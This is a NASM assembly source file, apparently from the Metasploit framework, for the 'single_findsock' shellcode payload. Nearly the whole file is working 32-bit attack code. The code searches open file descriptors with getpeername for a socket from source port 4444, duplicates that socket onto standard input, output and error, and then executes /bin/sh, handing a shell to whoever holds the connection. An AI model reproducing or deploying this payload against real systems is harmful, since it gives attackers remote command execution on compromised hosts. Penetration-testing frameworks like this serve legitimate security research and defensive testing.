72 lines
1.0 KiB
NASM
72 lines
1.0 KiB
NASM
;
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;
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; Name: single_findsock
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; Qualities: Nothing Special
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; Authors: vlad902 <vlad902 [at] gmail.com>
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; Version: $Revision: 1846 $
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; License:
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;
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; This file is part of the Metasploit Exploit Framework
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; and is subject to the same licenses and copyrights as
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; the rest of this package.
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;
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; Description:
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;
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; This payload redirects /bin/sh to a socket connected from a
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; certain source port.
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;
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;;
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BITS 32
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section .text
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global main
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main:
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xor edi, edi
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push edi
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mov ebp, esp
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getpeername_loop:
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; 32-bit is okay since the connection should be established already.
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inc edi
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mov esp, ebp
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push byte 0x10
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push esp
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push ebp
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push edi
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push byte 0x1f
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pop eax
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push byte 0x02
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int 0x80
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cmp word [ebp + 2], 0x5c11
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jne getpeername_loop
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pop ecx
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dup2_loop:
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push ecx
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push edi
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push byte 0x5a
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pop eax
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push ecx
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int 0x80
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dec ecx
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jns dup2_loop
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push 0x68732f2f
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push 0x6e69622f
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mov ebx, esp
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push eax
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push esp
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push ebx
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mov al, 0x3b
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push eax
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int 0x80
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